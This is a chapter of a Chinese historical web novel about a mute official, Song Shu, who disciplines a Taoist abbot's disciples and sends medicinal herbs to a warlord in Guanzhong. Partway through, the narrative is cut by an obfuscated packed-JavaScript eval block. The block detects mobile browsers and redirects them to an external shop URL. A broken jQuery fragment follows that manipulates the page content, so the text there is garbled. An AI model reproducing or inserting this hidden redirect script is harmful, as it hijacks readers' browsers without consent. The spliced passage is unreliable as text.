悯儿是谁?
宋舒看不清那两人的面貌,却听依稀听到悯儿低声斥骂。
“疯子!”
随后是男人爽朗的笑声。
天上雪花纷纷扬扬。
又是一场大雪,又是那股熟悉的刺骨寒冷。
麻木的流民,随处可见的尸骸,饿红眼的疯子。
她又回到了寒冬之下的流民群中。
“该死,那个小矮个在哪里,这么久了,难道她跑了?”
“嘘——”
“别出声,千万别出声。”
厚雪被大脚碾得咯吱作响,红眼疯子的脚步逐渐靠近。
牙冠打颤,发出咯咯声,宋舒不得不死死捂住自己的嘴。
“噗呲——”
滚烫的鲜血溅了她一脸。
死了,都死了——
该死的,不该死的都死了。
她甚至不敢立个碑,怕被饿疯的人发现,只能将人草草掩埋。
夜色之中,宋舒缓缓睁开眼。
“呼——”
好窒息的梦。
床上传来窸窸窣窣的穿衣声,昏黄的烛火下,宋舒披衣起身,从衣柜中翻出那把粗钝的匕首。
歪头想了想,又看了眼狭小闭塞的衣柜,低头沉思两息。
宋舒抄起枕头,爬入衣柜,抱着匕首调整了个舒服的姿势。
嘶——
碰到伤口,疼疼疼疼疼……
在衣柜中蛄蛹调整姿势,唔——
果然这样安心多了。
迷迷糊糊再次闭眼,陷入沉沉梦乡。
可能是睡得太香,以至于她忘了时辰。
翌日来叫宋舒起床的月娘,就看到一个冰凉的床榻,月娘试探着叫唤了一声。
但宋舒睡得太香没听见。
月娘将屋内屋外全部打量了个遍,依旧没找到人,小姑娘彻底慌了。
“蕊儿!蕊儿不好了,宋姐姐不见了!”
小姑娘这一嗓子下去,在衣柜中睡觉的宋舒猛地一个激灵。
“砰!”
宋舒的脑瓜重重磕上柜壁,剧痛让她彻底清醒。
睁眼一片漆黑,僵滞的大脑缓慢开始运转。
抬手推开衣柜,各式衣物翻涌般滚下,宋舒盘腿坐在衣柜内,伸了个懒腰。
“哈——”
哦,又开不了口了。
时至今日,宋舒隐约感觉自己的嗓子有可能是心理问题。
虽然她没感觉自己有什么心理毛病,一如既往的漂亮聪明,人见人爱。
当然如果自恋也是种病的话,当她没说。
宋舒双手撑住衣柜底板垫脚跳下,歪头向外探了探头。
呀,刚刚还听到小丫头叫唤,这会儿怎么没人了?
宋舒绕了绕头顶的鸡窝头,因为没睡醒止不住的打哈欠,眼角挂着两个晶莹泪珠。
总之月娘带着蕊儿再次返回查看情况的时候,看到的就是这一幕。
一只睡眼惺忪,毛发蓬松凌乱的狮子猫。
好看是好看,但这依旧抵不住月娘翻涌而上的怒火,“宋娘,你,你刚刚跑哪去了,我叫了你好几声为什么不答应?”
宋舒回神望向叉腰抬手怒指着她的小月娘,有些好笑的敲了下小家伙的额头。
没大没小,知不知道自己在跟谁说话?
“嘶”,小姑娘捂着脑袋,意识到了自己刚刚举动上有些逾越了,但依旧不服气的怒瞪着宋舒。
宋舒理不直气也壮,又敲了下小月娘的脑袋,咧嘴露出一口白牙。
“宋娘,你,你太过分了”,小丫头气得直跺脚。
反倒是更加心细的蕊儿,目光落在了那一堆滚落而出的衣物上。
杏眼微动,暗中拉住了月娘。
宋舒忙着更换衣物,因此没注意到这些。
刷牙洗漱,用早饭,然后卡点迈入衙署。
哎,又是个平平无奇的——
嗝,可能也不那么平淡。
因为在宋舒刚刚迈入值房的下一秒,赵二捂着青紫的眼眶,十分羞耻的低头凑到她跟前。
“先生,那个厚颜无耻的妖道,又回来了。”
宋舒想到这人会回来,但没想到这么的快。
她抬手指了指赵二的眼眶。
赵二的脸“腾”一下红到滴血,恨不得将头埋入胸口。
宋舒愣怔片刻,猛地意识到赵二可能是在替自己出头。
可是为什么?
她好像并没为对方做过什么。
“属下莽撞,连累先生跟着受那几个妖道的嘲讽,请先生责罚。”
宋舒当即上前将人搀扶起身,并且抬手开始比画。
【下次不可如此了,那几个道长有大用。】
赵二嘴角紧绷,低头抱歉,“属下知道了,请先生责罚。”
哦,险些坏了她的大事,该罚,但不能只罚赵二一人。
宋舒抬手指向门外,示意赵二别废话赶快将人带进来。
很好,走的时候六个人,回来的时候八个。
宋舒笑眼微弯,端起一碗茶盏挑眉似笑非笑的望向老观主。
反观老观主没有丝毫的别扭,不好意思,就仿佛昨日的事未曾发生过一样。
“听闻团练使府缺胥吏,先生觉得老道这两个徒弟如何?”
宋舒抬手,【刚刚谁打得人?】
老观主目光微有闪烁,“此人出言不逊,老道——”
哦,为老不尊。
【平民殴打官府公差,主犯:脊杖一百七,面部刺字发配南方偏远州县牢城充军,终身不得返乡;从犯:杖一百,徒两年矿山苦役。】
老观主:“哦,同僚切磋,怎会有先生说得这般严重?”
宋舒歪头望向赵二,【他说你以后跟你做同僚,你同意吗?】
赵二怎会看不出宋先生这是在为自己出气,再说本来就是他先动的手。
赵二点头,“认。”
宋舒颔首,【同僚互殴,各扣一月俸禄,可有异议?】
宋舒抬手示意所有人退下,赵二不放心,索性守在了门外。
值房内只剩下宋舒和老观主二人,【我需要道长将一批药材押送至关中。】
【具体如何,你——】
“先生,如毓有事求见”,是刘如毓的声音。
宋舒双手轻拍,发出声响,示意赵二将人放进来。
自从上次同宋先生交谈过后,刘如毓这几天一直在思考这个问题。
她能为金州做些什么,才能证明自己的价值。
阿娘擅长制糖、晒盐,所以被派去管理作坊。
阿兄通晓地质山脉,因而成了观山匠。
那她呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758165|208180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
除了会写诗,有个金州才女的名头,她还有什么?
直到她从李管事口中得知金州要运一批药材到关中,进献给大将军。
她知道属于自己的机会来了。
她带着自己连夜制定的计划方案找到宋舒,“先生,此次关中之行,可否让我也一同前往?”
寂静的屋内只剩宋舒翻看计划书的声音。
她不明白,她真的不明白,一个十一岁的小姑娘,怎么能聪明成这样?
就在刘如毓内心忐忑之时——
【可。】
此刻在关中的裴邡开始考虑,暗中下黑手的可能。
一个月了,整整一个月,王阎说什么就是不肯放他离开。
可能是年纪大了,外加死里逃生,王阎更加恐惧死亡。
一月期间,他踹开小皇帝,终于坐上了自己心心念念的位置。
可他依旧害怕。
他老了,可他的儿子们依旧年轻气盛。
说不准自己这次大病,就有他那几个儿子的手脚。
他开始对身边人起疑心,更加信任或者说依赖裴邡。
“哈哈,哈哈哈!”
“邡儿,我的邡儿何在?”
裴邡恭谨进入殿中,“义父。”
王阎看着眼前琳琅满目的各式药材,不禁大为感动。
青云道长一身粗布道袍,手持拂尘,简朴中透着股世外高人的感觉。
二人当时相谈甚欢,裴邡进来时,王阎正咧着嘴傻笑。
十一二岁的女道童手捧镶嵌满各式珠宝的锦盒上前,交给御医检验。
“前朝大肆射杀麝鹿,如今还能有如此品相的麝香,实属不易啊!”
老御医点点头表示赞赏。
刘如毓笑而不语,当然不易了。
因为最好、最顶级的麝香都在他们这种本地门阀手中,岂会便宜了外人。
“秦御医谬赞,金州山水交汇,得天独厚,因而……”
哦,所以药效跟海拔,灵气有什么关系?
这口吻他一听就知道出自谁的手笔。
也不知是出于心理作用还是金州的药确有奇效,王阎的身体肉眼可见的好转。
金州高山灵药一时轰动整个关中,从青云道长手中随意漏出来的普通药材,都能被炒出天价。
血赚一波的裴邡阴沉了好几日的心情,也跟着明媚了起来。
终于又过了半月,得到王阎首肯的裴邡,终于可以南下讨伐蜀地逆贼。
各地征来的军队经过两三个月的简单训练,已经初具形态。
哦,终于回来了吗?
宋舒站在城外,同所有人一起等候着大军前来。
几月不见裴邡依旧是那副老样子,宋舒按捺住心底对休假的渴望。
将这几份处理好的公文全部交给裴邡,“使君。”
裴邡抬眸睨了宋舒一眼,“做什么?”
宋舒:“公务。”
裴邡嗤笑一声,抬手推开宋舒送来的公务,“本使君忙着准备打仗,以后没事别拿这种麻烦东西骚扰本使君。”
宋舒:“……使君,属下,最近,身体,不适。”
混蛋,老娘要休假。
裴邡懒懒睨向宋舒,“不舒服找沈述给你带回来的那几个大夫,找本使君做什么,本使君又不会看病。”